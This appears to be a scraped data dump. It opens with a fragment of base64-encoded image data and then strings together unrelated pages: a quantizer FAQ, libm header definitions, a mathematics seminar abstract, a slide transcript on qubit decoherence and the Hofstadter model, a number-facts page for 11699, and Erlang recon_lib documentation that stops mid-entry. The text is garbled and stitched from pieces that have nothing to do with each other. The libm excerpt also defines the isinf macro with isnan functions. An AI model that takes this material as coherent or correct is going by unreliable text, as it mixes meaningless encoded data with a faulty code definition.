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[ "## What is the function of quantizer?\n\nThe quantizer allocates L levels to the task of approximating the continuous range of inputs with a finite set of outputs. The range of inputs for which the difference between the input and output is small is called the operating range of the converter.\n\n### What is quantize in MATLAB?\n\nA quantization partition defines several contiguous, nonoverlapping ranges of values within the set of real numbers. To specify a partition in the MATLAB® environment, list the distinct endpoints of the different ranges in a vector. For example, if the partition separates the real number line into the four sets.\n\n#### What is function of a quantizer in digital communication?\n\nThe quantizing of an analog signal is done by discretizing the signal with a number of quantization levels. Quantization is representing the sampled values of the amplitude by a finite set of levels, which means converting a continuous-amplitude sample into a discrete-time signal.\n\nWhy quantizer is required?\n\nBasically, quantization is done so as to have the approximated digitized value of analog signal. The quantizer is widely used in systems where analog to digital conversion is needed. As by the process of quantization, the discrete value of analog sample can be easily achieved.\n\nWhat is quantized example?\n\nYou can, for example, purchase items with a one dollar bill or a five dollar bill, but there are no three dollar bills. Money, therefore, is quantized; it only comes in discreet amounts.\n\n## How do I create a quantizer in MATLAB?\n\nQuantize to Fixed-Point Type Use quantize to quantize data to a fixed-point type with a wordlength of 3 bits, a fraction length of 2 bits, convergent rounding, and wrap on overflow. q = quantizer(‘fixed’,’convergent’,’wrap’,[3 2]); x = (-2:eps(q)/4:2)’; y = quantize(q,x);\n\n### What is quantization example?\n\nRounding and truncation are typical examples of quantization processes. Quantization is involved to some degree in nearly all digital signal processing, as the process of representing a signal in digital form ordinarily involves rounding. Quantization also forms the core of essentially all lossy compression algorithms." ]

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[ "# 10.5. Data Definitions for libm\n\nThis section defines global identifiers and their values that are associated with interfaces contained in libm. These definitions are organized into groups that correspond to system headers. This convention is used as a convenience for the reader, and does not imply the existence of these headers, or their content. Where an interface is defined as requiring a particular system header file all of the data definitions for that system header file presented here shall be in effect.\n\nThis section gives data definitions to promote binary application portability, not to repeat source interface definitions available elsewhere. System providers and application developers should use this ABI to supplement - not to replace - source interface definition specifications.\n\nThis specification uses the ISO C (1999) C Language as the reference programming language, and data definitions are specified in ISO C format. The C language is used here as a convenient notation. Using a C language description of these data objects does not preclude their use by other programming languages.\n\n## 10.5.1. complex.h\n\n ``` /* * This header is architecture neutral * Please refer to the generic specification for details */```\n\n## 10.5.2. fenv.h\n\n ``` #define FE_INVALID (1 << (31 - 2)) #define FE_OVERFLOW (1 << (31 - 3)) #define FE_UNDERFLOW (1 << (31 - 4)) #define FE_DIVBYZERO (1 << (31 - 5)) #define FE_INEXACT (1 << (31 - 6)) #define FE_ALL_EXCEPT \\ (FE_INEXACT | FE_DIVBYZERO | FE_UNDERFLOW | FE_OVERFLOW | FE_INVALID) #define FE_TONEAREST 0 #define FE_TOWARDZERO 1 #define FE_UPWARD 2 #define FE_DOWNWARD 3 typedef unsigned int fexcept_t; typedef double fenv_t; #define FE_DFL_ENV (&__fe_dfl_env)```\n\n## 10.5.3. math.h\n\n ``` typedef float float_t; typedef double double_t; #define isfinite(x) \\ (sizeof (x) == sizeof (float) ? __finitef (x) : sizeof (x) == sizeof (double)? __finite (x) : __finitel (x)) /* Return nonzero value if X is not +-Inf or NaN. */ #define fpclassify(x) \\ (sizeof (x) == sizeof (float) ? __fpclassifyf (x) :sizeof (x) == sizeof (double) ? __fpclassify (x) : __fpclassifyl (x)) /* Return number of classification appropriate for X. */ #define isinf(x) \\ (sizeof (x) == sizeof (float) ? __isnanf (x) : sizeof (x) == sizeof (double) ? __isnan (x) : __isnanl (x)) #define isnan(x) \\ (sizeof (x) == sizeof (float) ? __isnanf (x) : sizeof (x) == sizeof (double) ? __isnan (x) : __isnanl (x)) #define signbit(x) \\ (sizeof (x) == sizeof (float)? __signbitf (x): sizeof (x) == sizeof (double)? __signbit (x) : __signbitl (x) /* Return nonzero value if sign of X is negative. */ #define HUGE_VALL 0x1.0p2047L #define FP_ILOGB0 -2147483647 #define FP_ILOGBNAN 2147483647 extern int __fpclassifyl(long double); extern int __signbitl(long double); extern long double exp2l(long double);```" ]

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[ "", null, "# Dimension-dependence error estimates for sampling recovery on Smolyak grids\n\n•", null, "Dũng Dinh (Vietnam National University)\n•", null, "Wednesday 20 February 2019, 09:40-10:15\n•", null, "Seminar Room 1, Newton Institute.\n\nASCW01 - Challenges in optimal recovery and hyperbolic cross approximation\n\nWe investigate dimension-dependence estimates of the approximation error for linear algorithms of sampling recovery on Smolyak grids parametrized by $m$, of periodic $d$-variate functions from the space with Lipschitz-H\\”older mixed smoothness $\\alpha > 0$. For the subsets of the unit ball in this space of functions with homogeneous condition and of functions depending on $\\nu$ active variables ($1 \\le \\nu \\le d$), respectively, we prove some upper bounds and lower bounds (for $\\alpha \\le 2$) of the error of the optimal sampling recovery on Smolyak grids, explicit in $d$, $\\nu$, $m$ when $d$ and $m$ may be large. This is a joint work with Mai Xuan Thao, Hong Duc University, Thanh Hoa, Vietnam.\n\nThis talk is part of the Isaac Newton Institute Seminar Series series." ]

[ null, "http://talks.cam.ac.uk/image/show/762/image.png", null, "http://talks.cam.ac.uk/images/user.jpg", null, "http://talks.cam.ac.uk/images/clock.jpg", null, "http://talks.cam.ac.uk/images/house.jpg", null ]

[ "", null, "Download", null, "Download Presentation", null, "SPINS, CHARGES, LATTICES, & TOPOLOGY IN LOW d\n\n# SPINS, CHARGES, LATTICES, & TOPOLOGY IN LOW d\n\nTélécharger la présentation", null, "## SPINS, CHARGES, LATTICES, & TOPOLOGY IN LOW d\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - - -\n##### Presentation Transcript\n\n1. SPINS, CHARGES, LATTICES, & TOPOLOGY IN LOW d Meeting of “QUANTUM CONDENSED MATTER” network of PITP (Fri., Jan 30- Sunday, Feb 1, 2004; Vancouver, Canada) For all current information on this workshop go to http://pitp.physics.ubc.ca/Conferences/20030131/index.html All presentations will go online in the next week on PITP archive page: http://pitp.physics.ubc.ca/CWSSArchives/CWSSArchives.html\n\n2. DECOHERENCE in SPIN NETS & RELATED LATTICE MODELS PCE Stamp (UBC) + YC Chen (Australia?)\n\n3. PROBLEM #1 The theoretical problem is to calculate the dynamics of the “M-qubit” reduced density matrix for the following Hamiltonian, describing a set of N interacting qubits (with N > M typically): H = Sj( Djtjx + ejtjz ) + Sij Vij tiz tjz + Hspin({sk}) + Hosc({xq}) + int. The problem is to integrate out the 2 different environments coupling to the qubit system- this gives the N-qubit reduced density matrix. We may then average over other qubits if necessary to get the M-qubit density matrix operator: rNM({tj}; t) The N-qubit density matrix contains all information about the dynamics of this QUIP (QUantum Information Processing) system- & all the quantum information is encoded in it. A question of some theoretical interest is- how do decoherence rates in this quantity vary with N and M ?\n\n4. Feynman & Vernon, Ann. Phys. 24, 118 (1963) PW Anderson et al, PR B1, 1522, 4464 (1970) Caldeira & Leggett, Ann. Phys. 149, 374 (1983) AJ Leggett et al, Rev Mod Phys 59, 1 (1987) U. Weiss, “Quantum Dissipative Systems” (World Scientific, 1999) A qubit coupled to a bath of delocalised excitations: the SPIN-BOSONModel Suppose we have a system whose low-energy dynamics truncates to that of a 2-level system t. In general it will also couple to DELOCALISED modes around (or even in) it. A central feature of many-body theory (and indeed quantum field theory in general) is that (i) under normal circumstances the coupling to each mode is WEAK (in fact ~ O (1/N1/2)), where N is the number of relevant modes, just BECAUSE the modes are delocalised; and (ii) that then we map these low energy “environmental modes” to a set of non-interacting Oscillators, with canonical coordinates {xq,pq} and frequencies {wq}. It then follows that we can write the effective Hamiltonian for this coupled system in the ‘SPIN-BOSON’ form: H (Wo) = {[Dotx + eotz] qubit + 1/2 Sq (pq2/mq + mqwq2xq2) oscillator + Sq [ cqtz + (lqt+ + H.c.)] xq }interaction Where Wois a UVcutoff, and the {cq, lq} ~ N-1/2.\n\n5. UCL 16 A qubit coupled to a bath of localised excitations: the CENTRALSPIN Model P.C.E. Stamp, PRL 61, 2905 (1988) AO Caldeira et al., PR B48, 13974 (1993) NV Prokof’ev, PCE Stamp, J Phys CM5, L663 (1993) NV Prokof’ev, PCE Stamp, Rep Prog Phys 63, 669 (2000) Now consider the coupling of our 2-level system to LOCALIZED modes. These have a Hilbert space of finite dimension, in the energy range of interest- in fact, often each localised excitation has a Hilbert space dimension 2. From this we see that our central Qubit is coupling to a set of effective spins; ie., to a “SPIN BATH”. Unlike the case of the oscillators, we cannot assume these couplings are weak. For simplicity assume here that the bath spins are a set {sk} of 2-level systems. Now actually these interact with each other very weakly (because they are localised), but we cannot drop these interactions. What we then get is the following low-energy effective Hamiltonian (recall previous slide): H (Wo) = { [Dt+exp(-i Skak.sk) + H.c.] + eotz (qubit) + tzwk.sk + hk.sk (bath spins) + inter-spin interactions Thecrucialthinghereisthatnowthecouplings wk , hktothebathspins- thefirstbetweenbath spinandqubit,thesecondtoexternalfields- are oftenverystrong (muchlargerthaneitherthe inter-spininteractionsoreventhanD).\n\n6. Dynamics of Spin-Boson System The easiest way to solve for the dynamics of the spin-boson model is in a path integral formulation. The qubit density matrix propagator is written as an integral over an “influence functional” : The influence functional is defined as For an oscillator bath: with bath propagator: For a qubit the path reduces to Thence\n\n7. Dynamics of Central Spin model (Qubit coupled to spin bath) Consider following averages Topological phase average Orthogonality average Bias average The reduced density matrix after a spin bath is integrated out is quite generally given by: Eg., for a single qubit, we get the return probability: NB: can also deal with external noise\n\n8. DYNAMICS of DECOHERENCE UCL 28 At first glance a solution of this seems very forbidding. However it turns out that one can solve for the reduced density matrix of the central spin exactly, in the interesting parameter regimes. From this soltn the decoherence mechanisms are easy to identify: (i) Noise decoherence: Random phases added to different Feynman paths by the noise field. (ii) Precessional decoherence: the phase accumulated by environmental spins between qubit flips. (iii) Topological Decoherence: The phase induced in the environmental spin dynamics by the qubit flip itself USUALLY THE 2ND MECHANISM (PRECESSIONAL DECOHERENCE) is DOMINANT Precessional decoherence Noise decoherence source\n\n9. Pey 1.34 • The oscillator bath decoherence rate goes like • tf-1 ~ Dog(D,T) coth (D/2kT) • with the spectral function g(w,T) shown below for an Al • SQUID (contribution from electrons & phonons). All of this is • well known and leads to a decoherence rate tf-1 ~ paDoonce • kT < Do. By reducing the flux change df = (f+ - f- ) ~ 10-3, it • has been possible to make a ~ 10-7 (Delft expts), ie., a • decoherence rate for electrons ~ O(100 Hz). This is v small! Decoherence in SQUIDs A.J. Leggett et al., Rev. Mod Phys. 59, 1 (1987) AND PCE Stamp, PRL 61, 2905 (1988) Prokof’ev and Stamp Rep Prog Phys 63, 669 (2000) On the other hand paramagnetic spin impurities (particularly in the junctions), & nuclear spins have a Zeeman coupling to the SQUID flux peaking at low energies- at energies below Eo, this will cause complete incoherence. Coupling to charge fluctuations (also a spin bath of 2-level systems) is not shown here, but also peaks at very low frequencies. However when Do >> Eo, the spin bath decoherence rate is: 1/tf = Do (Eo/8D0)2as before\n\n10. WRITE on PAPER SHEETS\n\n11. PROBLEM #2: The DISSIPATIVE HOFSTADTER Model This problem describes a set of fermions on a periodic potential, with uniform flux threading the plaquettes. The fermions are then coupled to a background oscillator bath: We will assume a square lattice, and a simple cosine potential: There are TWO dimensionless couplings in the problem- to the external field, and to the bath: The coupling to the oscillator bath is assumed ‘Ohmic’: where\n\n12. The W.A.H. MODEL This famous model was first investigated in preliminary way by Peierls, Harper,, Kohn, and Wannier in the 1950’s. The fractal structure was shown by Azbel in 1964. This structure was first displayed on a computer by Hofstadter in 1976, working with Wannier. The Hamiltonian involves a set of charged fermions moving on a periodic lattice- interactions between the fermions are ignored. The charges couple to a uniform flux through the lattice plaquettes. Often one looks at a square lattice, although it turns out much depends on the lattice symmetry. One key dimensionless parameter in the problem is the FLUX per plaquette, in units of the flux quantum\n\n13. The HOFSTADTER BUTTERFLY The graph shows the ‘support’ of the density of states- provided ais rational\n\n14. The effective Hamiltonian is also written as: H = - t Sij [ci cj exp {iAij} + H.c. ] …….“WAH” lattice + SnSq lq Rn . xq + Hosc({xq}) ……coupled to oscillators (i) the the WAH (Wannier-Azbel-Hofstadter) Hamiltonian describes the motion of spinless fermions on a 2-d square lattice, with a flux f per plaquette (coming from the gauge term Aij). (ii) The particles at positions Rncouple to a set of oscillators. This can be related to many systems- from 2-d J. Junction arrays in an external field to flux phases in HTc systems, to one kind of open string theory. It is also a model for the dynamics of information propagation in a QUIP array, with simple flux carrying the info. There are also many connections with other models of interest in mathematical physics and statistical physics.\n\n15. EXAMPLE: S/cond arrays The bare action is: Plus coupling to Qparticles, photons, etc: Interaction kernel (shunt resistance is RN):\n\n16. Expt (Kravchenko, Coleridge,..)\n\n17. PHASE DIAGRAM Callan & Freed result (1992) Mapping of the line a=1 under z  1/(1 + inz) Proposed phase diagram (Callan & Freed, 1992) Arguments leading to this phase diagram based mainly on duality, and assumption of localisation for strong coupling to bosonic bath. The duality is now that of the generalised vector Coulomb gas, in the complex z- plane.\n\n18. DIRECT CALCULATION of m (Chen & Stamp) We wish to calculate directly the time evolution of the reduced density matrix of the particle. It satisfies the eqtn of motion: The propagator on the Keldysh contour g is: The influence functional is written in the form:\n\n19. Influence of the periodic potential We do a weak potential expansion, using the standard trick Without the lattice potential, the path integral contains paths obeying the simple Q Langevin eqtn: The potential then adds a set of ‘delta-fn. kicks’:\n\n20. One can calculate the dynamics now in a quite direct way, not by calculating an autocorrelation function but rather by evaluating the long-time behaviour of the density matrix. If one evaluates the long-time behaviour of the Wigner function one then finds the following, after expanding in the potential: We now go to some rather detailed exact results for this velocity, in the next few slides ….\n\n21. LONGITUDINAL COMPONENT:\n\n22. TRANSVERSE COMPONENT:\n\n23. DIAGONAL & CROSS-CORRELATORS: It turns out from these exact results that not all of the conclusions which come from a simple analysis of the long-time scaling are confirmed. In particular we do not get the same phase diagram, as we now see …\n\n24. We find that we can get some exact results on a particular circle in the phase plane- the one for which K = 1/2 The reason is that on this circle, one finds that both the long- and short-range parts of the interaction permit a ‘dipole’ phase, in which the system form close dipoles, with the dipolar widely separated. This happens nowhere else. One then may immediately evaluate the dynamics, which is well-defined. If we write this in terms of a mobility we have the simple results shown:\n\n25. RESULTS on CIRCLE K = 1/2 The results can be summarized as shown in the figure. For a set of points on the circle the system is localised. At all other points on the circle, it is delocalised. The behaviour on this circle should be testable in experiments.\n\n26. Conclusions • In the weak-coupling limit (with dimensionless couplings ~ l ), the • disentanglement rate for a set of N coupled qubits, is actually linear • in N provided Nl < 1 • In the coherence window, this is good for quite large N • In the dissipative Hofstadter model duality apparently fails. There is • actually a whole set of ‘exact’ solutions possible on various circles. It will be interesting to explore decoherence rates for topological computation- note that the bath couplings are local but one still has to determine the couplings to the non-local information\n\n27. THE END\n\n28. The dynamics of the density matrix is calculated using path integral methods. We define the propagator for the density matrix as follows: This propagator is written a a path integral along a Keldysh contour: All effects of the bath are contained in Feynman’s influence functional, which averages over the bath dynamics, entangled with that of the particle: The ‘reactive’ part & the ‘decoherence’ part of the influence functional depend on the spectral function:\n\n29. UCL 19 DYNAMICS of the DIPOLAR SPIN NET NV Prokof’ev, PCE Stamp, PRL 80, 5794 (1998) JLTP 113, 1147 (1998) PCE Stamp, IS Tupitsyn Rev Mod Phys (to be publ.). The dipolar spin net is of great interest to solid-state theorists because it represents the behaviour of a large class of systems with “frustrating” interactions (spin glasses, ordinary dipolar glasses). It is also a fascinating toy model for quantum computation: H = Sj (Djtjx + ejtjz) + Sij Vijdiptiz tjz + HNN(Ik) + Hf(xq) + interactions For magnetic systems this leads to the picture at right. Almost all experiments so far are done in the region where Do is small- whether the dynamics is dipolar-dominated or single molecule, it is incoherent. However one can give a theory of this regime. The next great challenge is to understand the dynamics in the quantum coherence regime, with or without important inter-molecule interactions\n\n30. UCL 20 Quantum Relaxation of a single NANOMAGNET Structure of Nuclear spin Multiplet  Our Hamiltonian: When D<<Eo (linewidth of the nuclear multiplet states around each magbit level), the magbit relaxes via incoherent tunneling. The nuclear bias acts like a rapidly varying noise field, causing the magbit to move rapidly in and out of resonance, PROVIDED |gmBSHo| < Eo Tunneling now proceeds over a range Eoof bias, governed by the NUCLEAR SPINmultiplet. The relaxation rate is G ~ D2/Eo for a single qubit. Fluctuating noise field Nuclear spin diffusion paths NV Prokof’ev, PCE Stamp, J Low Temp Phys 104, 143 (1996)\n\n31. UCL 30 The path integral splits into contributions for each M. They have the effective action of a set of interacting instantons The effective interactions can be mapped to a set of fake charges to produce an action having the structure of a “spherical model” involving a spin S The key step is to then reduce this to a sum over Bessel functions associated with each polarisation group." ]

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[ "## 11699\n\n11,699 (eleven thousand six hundred ninety-nine) is an odd five-digits prime number following 11698 and preceding 11700. In scientific notation, it is written as 1.1699 × 104. The sum of its digits is 26. It has a total of 1 prime factor and 2 positive divisors. There are 11,698 positive integers (up to 11699) that are relatively prime to 11699.\n\n## Basic properties\n\n• Is Prime? Yes\n• Number parity Odd\n• Number length 5\n• Sum of Digits 26\n• Digital Root 8\n\n## Name\n\nShort name 11 thousand 699 eleven thousand six hundred ninety-nine\n\n## Notation\n\nScientific notation 1.1699 × 104 11.699 × 103\n\n## Prime Factorization of 11699\n\nPrime Factorization 11699\n\nPrime number\nDistinct Factors Total Factors Radical ω(n) 1 Total number of distinct prime factors Ω(n) 1 Total number of prime factors rad(n) 11699 Product of the distinct prime numbers λ(n) -1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) -1 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 9.36726 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 11,699 is 11699. Since it has a total of 1 prime factor, 11,699 is a prime number.\n\n## Divisors of 11699\n\n2 divisors\n\n Even divisors 0 2 1 1\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 2 Total number of the positive divisors of n σ(n) 11700 Sum of all the positive divisors of n s(n) 1 Sum of the proper positive divisors of n A(n) 5850 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 108.162 Returns the nth root of the product of n divisors H(n) 1.99983 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 11,699 can be divided by 2 positive divisors (out of which 0 are even, and 2 are odd). The sum of these divisors (counting 11,699) is 11,700, the average is 5,850.\n\n## Other Arithmetic Functions (n = 11699)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 11698 Total number of positive integers not greater than n that are coprime to n λ(n) 11698 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 1412 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares\n\nThere are 11,698 positive integers (less than 11,699) that are coprime with 11,699. And there are approximately 1,412 prime numbers less than or equal to 11,699.\n\n## Divisibility of 11699\n\n m n mod m 2 3 4 5 6 7 8 9 1 2 3 4 5 2 3 8\n\n11,699 is not divisible by any number less than or equal to 9.\n\n## Classification of 11699\n\n• Arithmetic\n• Prime\n• Deficient\n\n### Expressible via specific sums\n\n• Polite\n• Non-hypotenuse\n\n• Prime Power\n• Square Free\n\n## Base conversion (11699)\n\nBase System Value\n2 Binary 10110110110011\n3 Ternary 121001022\n4 Quaternary 2312303\n5 Quinary 333244\n6 Senary 130055\n8 Octal 26663\n10 Decimal 11699\n12 Duodecimal 692b\n16 Hexadecimal 2db3\n20 Vigesimal 194j\n36 Base36 90z\n\n## Basic calculations (n = 11699)\n\n### Multiplication\n\nn×i\n n×2 23398 35097 46796 58495\n\n### Division\n\nni\n n⁄2 5849.5 3899.67 2924.75 2339.8\n\n### Exponentiation\n\nni\n n2 136866601 1601202365099 18732466469293201 219151125224261158499\n\n### Nth Root\n\ni√n\n 2√n 108.162 22.7012 10.4001 6.51073\n\n## 11699 as geometric shapes\n\n### Circle\n\nRadius = n\n Diameter 23398 73507 4.29979e+08\n\n### Sphere\n\nRadius = n\n Volume 6.7071e+12 1.71992e+09 73507\n\n### Square\n\nLength = n\n Perimeter 46796 1.36867e+08 16544.9\n\n### Cube\n\nLength = n\n Surface area 8.212e+08 1.6012e+12 20263.3\n\n### Equilateral Triangle\n\nLength = n\n Perimeter 35097 5.9265e+07 10131.6\n\n### Triangular Pyramid\n\nLength = n\n Surface area 2.3706e+08 1.88704e+11 9552.19\n\n## Cryptographic Hash Functions\n\nmd5 175cbada323f6874f9d26985f9378efb e583ae3823f5695da53bfa8278bfcf833e876d75 61d48b97f06dc91ebd4cb3003b6137a63e8ade4aaec4b7f27d916f52e87fd0a6 2c9f11fe182ca6a9f1d5f92f6ca0197582d48fe824fceb168d3dfa5eb470aee57d7e756359d64b23bd730637c7d6e4cb42a1f0aa70838ac661ab285a1d29cf4a c4d335ebb25a8cac49978a6d81710f61e2e18e4d" ]

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[ "# Recon\n\n## Module recon_lib\n\nRegroups useful functionality used by recon when dealing with data from the node.\n\nAuthors: Fred Hebert (`[email protected]`) [web site: `http://ferd.ca/`].\n\n### Description\n\nRegroups useful functionality used by recon when dealing with data from the node. The functions in this module allow quick runtime access to fancier behaviour than what would be done using recon module itself.\n\n### Data Types\n\n#### diff()\n\n`diff() = [recon:proc_attrs() | recon:inet_attrs()]`\n\n### Function Index\n\n count/1 Takes a list of terms, and counts how often each of them appears in the list. inet_attrs/1 Returns the attributes (`recon:inet_attrs()`) of all inet ports (UDP, SCTP, TCP) of the node. inet_attrs/2 Returns the attributes required for a given inet port (UDP, SCTP, TCP). port_list/1 Returns a list of all the open ports in the VM, coupled with one of the properties desired from `erlang:port_info/1-2`. port_list/2 Returns a list of all the open ports in the VM, but only if the `Attr`'s resulting value matches `Val`. proc_attrs/1 Returns the attributes (`recon:proc_attrs()`) of all processes of the node, except the caller. proc_attrs/2 Returns the attributes of a given process. sample/2 Runs a fun once, waits `Ms`, runs the fun again, and returns both results. scheduler_usage_diff/2 Diffs two runs of erlang:statistics(scheduler_wall_time) and returns usage metrics in terms of cores and 0..1 percentages. sliding_window/2 Compare two samples and return a list based on some key. sublist_top_n_attrs/2 Returns the top n element of a list of process or inet attributes. term_to_pid/1 Transforms a given term to a pid. term_to_port/1 Transforms a given term to a port. time_fold/6 Calls a given function every `Interval` milliseconds and supports a fold-like interface (each result is modified and accumulated). time_map/5 Calls a given function every `Interval` milliseconds and supports a map-like interface (each result is modified and returned). triple_to_pid/3 Equivalent of `pid(X,Y,Z)` in the Erlang shell.\n\n### Function Details\n\n#### count/1\n\n`count(Terms::[term()]) -> [{term(), Count::integer()}]`\n\nTakes a list of terms, and counts how often each of them appears in the list. The list returned is in no particular order.\n\n#### inet_attrs/1\n\n`inet_attrs(AttrName::term()) -> [recon:inet_attrs()]`\n\nReturns the attributes (`recon:inet_attrs()`) of all inet ports (UDP, SCTP, TCP) of the node.\n\n#### inet_attrs/2\n\n`inet_attrs(AttributeName, Port::port()) -> {ok, 